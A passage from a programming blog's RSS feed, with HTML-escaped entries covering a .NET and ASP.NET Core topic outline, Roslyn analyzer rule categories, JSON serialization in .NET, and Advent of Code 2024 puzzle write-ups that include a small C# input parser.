&lt;code&gt;StringComparer&lt;/code&gt;; &lt;code&gt;Encoding&lt;/code&gt;; &lt;code&gt;Regex&lt;/code&gt;; &lt;code&gt;Rune&lt;/code&gt;; &lt;code&gt;StringBuilder&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Regular Expressions
&lt;ul&gt;
&lt;li&gt;Language Reference (Escapes; Character Classes; Anchors; Grouping;
Quantifiers; Backreference; Alternation; Substitutions; Options;
Miscellaneous Constructs); Object Model; Backtracking; Compilation and
Reuse; Source Generation; Best Practices.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Serialization
&lt;ul&gt;
&lt;li&gt;JSON; XML and SOAP; Binary; &lt;code&gt;DataContractAttribute&lt;/code&gt;;
&lt;code&gt;DataContractSerializer&lt;/code&gt; &lt;code&gt;IExtensibleDataObject&lt;/code&gt;;
&lt;code&gt;XsdDataContractExporter&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;System.CommandLine
&lt;ul&gt;
&lt;li&gt;Syntax; Define Commands; Model Binding; Tab Completion; Dependency
Injection; Customize Help; Handle Termination; Use Middleware.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;File and Stream I/O
&lt;ul&gt;
&lt;li&gt;File Path Formats; Common I/O Tasks; Async File I/O; I/O Errors; Isolated
Storage; Pipes; Pipelines; Work with Buffers; Memory-Mapped Files;
&lt;code&gt;FileStream&lt;/code&gt;; &lt;code&gt;FileSystemWatcher&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;System.AppContext&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;System.Console&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;System.Random&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Artificial Intelligence
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;IChatClient&lt;/code&gt; (and Middleware); Chat Completion; Tool Calling; Caching
Responses; Telemetry; &lt;code&gt;ChatOptions&lt;/code&gt;; Functionality Pipeline; Dependency
Injection; &lt;code&gt;IEmbeddingGenerator&lt;/code&gt; (and Middleware).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Dependency Injection&lt;/li&gt;
&lt;li&gt;Configuration
&lt;ul&gt;
&lt;li&gt;Providers; Source Generation; Custom Providers; Options Pattern; Options
Validation Source Generation; Options Pattern Guidance for Library
Authors.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Logging
&lt;ul&gt;
&lt;li&gt;Providers; Source Generation; Guidance for Library Authors; Custom
Providers; High Performance Logging; Console Log Formatting.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HostBuilder&lt;/code&gt; (Generic Host)&lt;/li&gt;
&lt;li&gt;Resilience&lt;/li&gt;
&lt;li&gt;Networking
&lt;ul&gt;
&lt;li&gt;Availability; IPv6; Service Discovery; HTTP; Sockets; WebSockets;
Security; QUIC; Telemetry.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;File Globbing&lt;/li&gt;
&lt;li&gt;Primitives Library&lt;/li&gt;
&lt;li&gt;Globalization and Localization
&lt;ul&gt;
&lt;li&gt;ICU; Culture-Insensitive String Operations; Best Practices; Localizability
Review; &lt;code&gt;CompareInfo&lt;/code&gt;, &lt;code&gt;CompareOptions&lt;/code&gt;; &lt;code&gt;CultureAndRegionInfoBuilder&lt;/code&gt;;
&lt;code&gt;CultureInfo&lt;/code&gt;; &lt;code&gt;DateTimeFormatInfo&lt;/code&gt;; &lt;code&gt;NumberFormatInfo&lt;/code&gt;;
&lt;code&gt;PersianCalendar&lt;/code&gt;; &lt;code&gt;RegionInfo&lt;/code&gt;; &lt;code&gt;SortKey&lt;/code&gt;; &lt;code&gt;SortVersion&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Resources in .NET Apps
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.resx&lt;/code&gt; Files; Satellite Assemblies; Package and Deploy Resources;
Retrieve Resources.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Worker Services
&lt;ul&gt;
&lt;li&gt;Queue Service; Scoped Services within a &lt;code&gt;BackgroundService&lt;/code&gt; (for scoped
services, window services); &lt;code&gt;IHostedService&lt;/code&gt;; Deploying a Worker Service.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Caching&lt;/li&gt;
&lt;li&gt;&lt;code&gt;System.Threading.Channels&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Math Operations: &lt;code&gt;System.MidpointRounding&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Win32.Registry&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Uri&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Reflection: &lt;code&gt;System.Type&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Graphics: &lt;code&gt;System.Drawing.Drawing2D.Matrix&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;InternalsVisibleToAttribute&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RuntimeHelpers&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;System.Runtime.Versioning.Component GuaranteesAttribute&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AssemblyLoadContext&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ProcessStartInfo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Environment&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Execution Model
&lt;ul&gt;
&lt;li&gt;Common Language Runtime (CLR)&lt;/li&gt;
&lt;li&gt;Managed Execution Process&lt;/li&gt;
&lt;li&gt;Assemblies
&lt;ul&gt;
&lt;li&gt;Contents; Manifest; Security Considerations; Versioning; Side-by-Side
Execution; File Format; Unload-ability; Reference Assemblies; Resolve
Assembly Loads; Create Assemblies; Assembly Names; Fully Qualified Name;
Location; Attributes; Strong-named Assemblies; Delay-Signing; Viewing
Contents; Type Forwarding in the CLR; Friend Assemblies; Detecting
Assemblies; Loading and Unloading; Embedded Types; Inspection using
&lt;code&gt;MetadataLoadContext&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Reflection
&lt;ul&gt;
&lt;li&gt;View Type Information; Generic Types; Dynamically Load and Use Types;
Access Custom Attributes; Fully Qualified Type Names; Emit Dynamic Methods
and Assemblies; Metadata and Self-Describing Components.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Dependency Loading
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;AssemblyLoadContext&lt;/code&gt;; Default Dependency Probing; Managed Assemblies;
Satellite Assemblies; Unmanaged Libraries; Collect detailed Assembly
Loading Information.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Versioning&lt;/li&gt;
&lt;li&gt;Configure .NET Runtime Settings
&lt;ul&gt;
&lt;li&gt;Compilation; Debugging &amp;amp; Profiling; Garbage Collector; Globalization;
Networking; Threading; Windows Presentation Framework (WPF).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Troubleshoot App Launch Failures&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="aspnet-core"&gt;ASP.NET Core&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Fundamentals
&lt;ul&gt;
&lt;li&gt;App Startup; Dependency Injection; Native Ahead of Time (AOT); Middleware
(Rate Limiting; Minimal; Testing; Response Caching; Write; Request and
Response Operations; Request Decompression; Factory-Based Middleware); Host
(&lt;code&gt;WebApplication&lt;/code&gt;; Generic Host; Web Host); Configuration; Options;
Environments; Logging and Monitoring (HTTP; W3C; Health Checks; Built-in
Metrics); HttpContext; Routing; Handle Errors; Make HTTP Requests; Map
Static Files; Static Files; &lt;code&gt;dotnet-scaffold&lt;/code&gt; Telemetry.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Web Apps
&lt;ul&gt;
&lt;li&gt;Razor Pages (Filters; Conventions); MVC (Views; Partial Views; Controllers;
Routing; Dependency Injection; Unit Test); Blazor (Supported Platforms;
Tooling; Web Assembly Tooling and AOT; Hosting Models; Blazor Hybrid;
Fundamentals; Components; Globalization and Localization; Forms; File
Uploads and Downloads; JavaScript Interop; Call a Web API; Images and
Documents; Security and Identity; State Management; Debug; Lazy Load
Assemblies; WebAssembly Native Dependencies; Performance; Test Components;
Progressive Web Applications; Host and Deploy; EF Core; Advanced Scenarios);
Client-Side Development (Single Page Apps; LibMan; WebAssembly JS Interop;
Grunt; Bundle and Minify; Browser Link); Session and State Management;
Layout; Razor Syntax; Razor Class Libraries; Tag Helpers; Advanced.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;APIs
&lt;ul&gt;
&lt;li&gt;Controller-Based APIs (Action Return Types; JSON Patch Requests; Format
Response Data; Custom Formatters; Analyzers; Conventions; Handle Errors;
Test with &lt;code&gt;HttpRepl&lt;/code&gt;); Minimal APIs (&lt;code&gt;WebApplication&lt;/code&gt;; Route Handlers;
Parameter Binding; Create Responses; Filters; Unit and Integration Tests;
Middleware; Handle Errors; Authentication and Authorization); OpenAPI
(Documents; Metadata; Tools).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Real-Time Apps
&lt;ul&gt;
&lt;li&gt;Supported Platforms; Server Concepts (Hubs; Send from Outside a Hub; Users
and Groups; API Design Considerations; Hub Filters); Clients (.NET; Java,
JavaScript); Host and Scale (Azure App Service; Redis Backplane; SignalR
with Background Services); Configuration; &lt;code&gt;IHttpContextAccessor&lt;/code&gt; and
&lt;code&gt;HttpContext&lt;/code&gt;; Authentication and Authorization; Security Considerations;
MessagePack Hub Protocol; Streaming; Compare SignalR and SignalR Core;
WebSockets; Logging and Diagnostics; Troubleshooting; Hub Protocol;
Transport Protocols.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Remote Procedure Call Apps
&lt;ul&gt;
&lt;li&gt;gRPC Services with C#; Call gRPC Services with C#; gRPC Services with
ASP.NET Core; gRPC in Browser Apps; Configuration; Authentication and
Authorization; Error Handling; gRPC Interceptors; Logging and Diagnostics;
Security Considerations; Performance Best Practices; Native AOT;
Inter-Process Communication (Unix Domain Sockets; Named Pipes); Code-first
Services and Clients; gRPC Health Checks; Managing Protobuf References;
Testing with gRPCurl and gRPCui; Migrating from C-core; Why Migrate WCF to
ASP.NET Core; Compare gRPC Services with HTTP APIs.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Best Practices&lt;/li&gt;
&lt;li&gt;Servers
&lt;ul&gt;
&lt;li&gt;HHTP.sys; Kestrel (Overview; Endpoints; Options; Diagnostics; HTTP/2;
HTTP/3; Connection Middleware; Reverse Proxy; Host Filtering; Request
Draining); Internet Information Services (IIS) (ASP.NET Core Module;
In-Process and Out-of-Process Hosting; Hosting Bundle; &lt;code&gt;web.config&lt;/code&gt; File;
Visual Studio Support; IIS Modules; Logging and Diagnostics; Troubleshoot;
Advanced Config; Transform &lt;code&gt;web.config&lt;/code&gt;; HTTP/2; HTTP/3); YARP
(Configuration; Proxy Features; Protocols ad Guidance; Extensibility;
Deployment Options; Troubleshooting).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Test
&lt;ul&gt;
&lt;li&gt;.NET Hot Reload; Visual Studio Dev Tunnels; Visual Studio &lt;code&gt;.http&lt;/code&gt; Files;
&lt;code&gt;HttpRepl&lt;/code&gt;; Minimal API; Blazor; Razor Pages; MVC Controllers; Integration;
Load and Stress Testing; Test Middleware.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Debug
&lt;ul&gt;
&lt;li&gt;Visual Studio; Remote Debugging; Snapshot Debugging in Azure; Snapshot
Debugging in Visual Studio; Visual Studio Dev Tunnels.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Troubleshoot
&lt;ul&gt;
&lt;li&gt;Troubleshoot and Debug; Azure and IIS.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Code Analysis&lt;/li&gt;
&lt;li&gt;Data Access
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dotnet scaffold&lt;/code&gt; in a Razor Pages Project; Entity Framework (EF) 6; Azure
SQL Database with a Managed Identity; Azure Storage w/ Visual Studio.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Host and Deploy
&lt;ul&gt;
&lt;li&gt;Azure App Service; DevOps; Windows Service; Linux with Nginx; Docker; Proxy
and Load Balancer; Scaling Apps on Azure; Web Farm; Visual Studio Publish
Profiles; Directory Structure.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Security and Identity
&lt;ul&gt;
&lt;li&gt;Authentication; Authorization; Data Protection; Secrets Management; Enforce
HTTPS; Docker with HTTPS; EU General Data Protection Regulations; Cross-Site
Request Forgery; Open Redirect Attacks; Cross-Site Scripting; Enable
Cross-Origin Requests; Share Cookies Among Apps; SameSite Cookies; IP Safe
List; Application Security - OWASP.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Performance
&lt;ul&gt;
&lt;li&gt;Caching; Rate Limiting Middleware; Timeouts Middleware; Memory and GC;
Scaling Apps on Azure; Object Reuse with ObjectPool; Response Compression;
Diagnostic Tools; Load and Stress testing; Event Counters.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Globalization and Localization
&lt;ul&gt;
&lt;li&gt;Localizable Content; Provide Resources; Select Language/Culture; Portable
Object Localization; Extensibility; Troubleshoot.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Advanced
&lt;ul&gt;
&lt;li&gt;Model Binding; Model Validation; Compatibility Version; Write Middleware;
Request and Response Operations; Request Decompression; URL Rewriting; File
Providers; Request-Feature Interfaces; Access &lt;code&gt;HttpContext&lt;/code&gt;; Change Tokens;
Open Web Interface for .NET; Background Tasks with Hosted Services; Hosting
Startup Assemblies; ASP.NET Core in Class Libraries;
&lt;code&gt;Microsoft.AspNetCore.App&lt;/code&gt;; &lt;code&gt;Microsoft.AspNetCore.All&lt;/code&gt;; High Performance
Logging; Using a File Watcher; Factory-Based Middleware.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="net-aspire"&gt;.NET Aspire&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;App Host (Orchestration)
&lt;ul&gt;
&lt;li&gt;Orchestrate Node.js and Python apps; Configuration; Dockerfiles; Networking;
Eventing; External Params; Persistence Using Volumes.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Dashboard
&lt;ul&gt;
&lt;li&gt;Standalone Mode; Configuration; Browser Telemetry; Security.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Testing
&lt;ul&gt;
&lt;li&gt;Managing the App Host; Accessing Resources in Tests&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Fundamentals
&lt;ul&gt;
&lt;li&gt;Service Discovery; Service Defaults; Launch Profiles; Health Checks;
Telemetry.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Integrations
&lt;ul&gt;
&lt;li&gt;Apache Kafka; Azure; Dapr; Elasticsearch; Entity Framework Core; Keycloak;
Milvus; MongoDB; MySQL; NATS; Orleans; PostgreSQL; Qdrant; RabbitMQ Service
Broker; Redis; Seq; SQL Server; Community Toolkit.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Custom Integrations
&lt;ul&gt;
&lt;li&gt;Hosting Integrations; Client Integrations; Secure Communication&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Deployment
&lt;ul&gt;
&lt;li&gt;Azure Container Apps; Application Insights; With a SQL Server Database; With
Redis; Tool-Builder Manifest Schemas.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Troubleshooting
&lt;ul&gt;
&lt;li&gt;Allow Insecure Transport; Untrusted Localhost Certificate; Installation;
Specified Name Already in Use; Unhealthy Container Runtime; Missing
Connection String; Discord &amp;amp; StackOverflow.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>.NET Linting and Style Tooling</title><link>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/linting-and-style/dotnet/</link><pubDate>Sun, 06 Jul 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/linting-and-style/dotnet/</guid><description>&lt;p&gt;.NET compiler platform (Roslyn) analyzers are included in the .NET SDK and
enabled by default in .NET 5 and later. Code analysis violations are prefixed
with &lt;code&gt;CA&lt;/code&gt; or &lt;code&gt;IDE&lt;/code&gt; to differentiate them from compiler errors. &lt;span class="citation-ref"&gt;&lt;a href="#CodeAnalysis"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;



&lt;div class="comment-holder"&gt;
 &lt;div class="comment" title="Comment: tangential aside"&gt;&lt;p&gt;Not to be confused with &lt;code&gt;CS&lt;/code&gt;-prefixed messages that are generated by the C#
compiler.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;


&lt;h2 id="rule-categories"&gt;Rule Categories&lt;/h2&gt;
&lt;p&gt;Rules fall in one of the following categories:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Design&lt;/strong&gt;: Adherence to the design guidelines for &lt;code&gt;.NET&lt;/code&gt; libraries &lt;span class="citation-ref"&gt;&lt;a href="#FrameworkDesignGuidelines"&gt;&lt;/a&gt;&lt;/span&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Documentation&lt;/strong&gt;: Correct use of XML documentation comments for externally
visible APIs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Globalization&lt;/strong&gt;: World-ready libraries and applications.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Interoperability&lt;/strong&gt;: Portability across platforms; interaction with COM
clients.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Maintainability&lt;/strong&gt;: Library and application maintenance.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Naming&lt;/strong&gt;: Naming conventions of the .NET design guidelines.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Performance&lt;/strong&gt;: High-performance libraries and applications.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SingleFile&lt;/strong&gt;: Single-file applications.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reliability&lt;/strong&gt;: Library and application reliability, e.g., thread usage.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Security&lt;/strong&gt;: Prevent security flaws in your program.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Style&lt;/strong&gt;: Consistent code style.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Usage&lt;/strong&gt;: Proper usage of .NET.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span class="citation-ref"&gt;&lt;a href="#AnalysisRuleCategories"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;</description></item><item><title>JSON Serialization in .NET</title><link>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/data-wrangling/json-serialization/json-serialization-in-dotnet/</link><pubDate>Sat, 05 Jul 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/language-concepts/data-wrangling/json-serialization/json-serialization-in-dotnet/</guid><description>&lt;p&gt;Serialization converts the state of an object (the value of its properties) into
a form that can be stored/transmitted. The serialized form doesn&amp;rsquo;t include any
information about an object&amp;rsquo;s associated methods. &lt;span class="citation-ref"&gt;&lt;a href="#JsonSerializationOverview"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;System.Text.Json&lt;/code&gt; emphasizes high performance and low memory allocation over an
extensive feature set. It has built-in UTF-8 support because UTF-8 is the most
prevalent encoding for data on the web and files on disk. &lt;span class="citation-ref"&gt;&lt;a href="#JsonSerializationOverview"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;h2 id="how-to-serialize-and-deserialize-net-objects"&gt;How to Serialize and Deserialize .NET Objects&lt;/h2&gt;
&lt;p&gt;To write JSON to a string, call &lt;code&gt;JsonSerializer.Serialize&lt;/code&gt;. To read from a JSON
string, call &lt;code&gt;JsonSerializer.Deserialize&amp;lt;T&amp;gt;&lt;/code&gt;. For example:&lt;/p&gt;</description></item><item><title>AoC 2024 Day 03: Mull It Over</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/03-null-it-over/03-mull-it-over/</link><pubDate>Wed, 02 Jul 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/03-null-it-over/03-mull-it-over/</guid><description>&lt;h2 id="data"&gt;Data&lt;/h2&gt;
&lt;p&gt;The computer appears to be trying to run a program, but its memory is
&lt;strong&gt;corrupted&lt;/strong&gt;. All of the instructions have been jumbled up!&lt;/p&gt;
&lt;p&gt;It seems like the goal of the program is just to &lt;strong&gt;multiply some numbers&lt;/strong&gt;. It
does that with instructions like &lt;code&gt;mul(X,Y)&lt;/code&gt; where &lt;code&gt;X&lt;/code&gt; and &lt;code&gt;Y&lt;/code&gt; are each 1-3
digit numbers. For instance, &lt;code&gt;mul(44,46)&lt;/code&gt; multiplies &lt;code&gt;44&lt;/code&gt; and &lt;code&gt;46&lt;/code&gt; to get a
result of &lt;code&gt;2024&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;However, because the program&amp;rsquo;s memory has been corrupted, there are also invalid
characters that should be &lt;strong&gt;ignored&lt;/strong&gt;, even if they look like a &lt;code&gt;mul&lt;/code&gt;
instruction. Sequences like &lt;code&gt;mul(4*&lt;/code&gt;, &lt;code&gt;mul(6,9!&lt;/code&gt;, &lt;code&gt;?(12,34)&lt;/code&gt;, or &lt;code&gt;mul ( 2 , 4 )&lt;/code&gt;
do &lt;strong&gt;nothing&lt;/strong&gt;.&lt;/p&gt;</description></item><item><title>AoC 2024 Day 02: Red-Nosed Reports</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/02-red-nosed-reports/02-red-nosed-reports/</link><pubDate>Mon, 30 Jun 2025 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2024/AoC2024/02-red-nosed-reports/02-red-nosed-reports/</guid><description>&lt;h2 id="data"&gt;Data&lt;/h2&gt;
&lt;p&gt;The unusual data consists of many &lt;strong&gt;reports&lt;/strong&gt;, one report per line. Each report
is a list of numbers called &lt;strong&gt;levels&lt;/strong&gt; that are separated by spaces. For
example:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;7 6 4 2 1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;1 2 7 8 9
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;9 7 6 2 1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;1 3 2 4 5
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;8 6 4 4 1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;1 3 6 7 9
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To parse:&lt;/p&gt;


&lt;div id='RedNosedReports.Parse.cs'&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-cs" data-lang="cs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;namespace&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2024&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;public&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;static&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;partial&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;class&lt;/span&gt; &lt;span style="color:#75af00"&gt;RedNosedReports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;private&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;static&lt;/span&gt; &lt;span style="color:#111"&gt;IEnumerable&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#111"&gt;IEnumerable&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;int&lt;/span&gt;&lt;span style="color:#111"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;GetReports&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;string&lt;/span&gt; &lt;span style="color:#111"&gt;filePath&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;using&lt;/span&gt; &lt;span style="color:#111"&gt;StreamReader&lt;/span&gt; &lt;span style="color:#111"&gt;inputReader&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;new&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;filePath&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;string?&lt;/span&gt; &lt;span style="color:#111"&gt;line&lt;/span&gt;&lt;span style="color:#111"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;while&lt;/span&gt; &lt;span style="color:#111"&gt;((&lt;/span&gt;&lt;span style="color:#111"&gt;line&lt;/span&gt; &lt;span style="color:#111"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;inputReader&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;ReadLine&lt;/span&gt;&lt;span style="color:#111"&gt;())&lt;/span&gt; &lt;span style="color:#111"&gt;!=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;null&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;yield&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;return&lt;/span&gt; &lt;span style="color:#111"&gt;line&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Split&lt;/span&gt;&lt;span style="color:#111"&gt;().&lt;/span&gt;&lt;span style="color:#111"&gt;Select&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;int&lt;/span&gt;&lt;span style="color:#111"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;Parse&lt;/span&gt;&lt;span style="color:#111"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#111"&gt;}&lt;/span&gt;
